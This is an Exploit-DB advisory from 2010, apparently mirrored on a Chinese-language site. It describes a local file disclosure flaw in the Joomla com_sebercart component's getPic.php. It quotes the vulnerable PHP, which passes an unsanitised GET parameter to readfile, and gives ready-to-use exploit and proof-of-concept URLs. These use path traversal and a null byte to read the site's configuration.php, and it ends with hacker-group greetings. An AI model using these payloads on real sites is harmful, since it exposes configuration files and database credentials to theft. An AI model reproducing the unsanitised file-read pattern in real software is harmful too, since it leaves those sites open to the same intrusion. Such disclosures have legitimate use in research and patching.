Joomla! Component com_sebercart – ‘getPic.php’ Local File Disclosure

• Exploit Database
• 8 阅读

• 作者： AntiSecurity
  日期： 2010-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12594/

• =========================================================================================================
  
  
  [o] Joomla Component Seber Cart Local File Disclosure Vulnerability
   
   Software : com_sebercart version 1.0.0.1x
   Vendor : http://www.seber.com.au/
   Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
   Contact: public[dot]antisecurity[dot]org
   Home : http://antisecurity.org/
  
  
  =========================================================================================================
  
  [o] Vulnerable File
  
  components/com_sebercart/getPic.php
  
   if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))
  	{	
  	header('Content-type: image/jpeg');
  	header('Content-Disposition: attachment; filename="image.jpg"');
  	readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");
  	}
  
  
  [o] Exploit
  
   http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00
  
  	Download the image.jpg file and open with notepad or gedit.
  
  
  [o] PoC
  
   http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00
  
  
  =========================================================================================================
  
  
  [o] Greetz
  
   Angela Zhang stardustmemory aJe martfella pizzyroot Genex
   H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
   skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
   ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net
  
  
  =========================================================================================================
  
  
  [o] May 13 2010 - GMT +07:00 Jakarta, Indonesia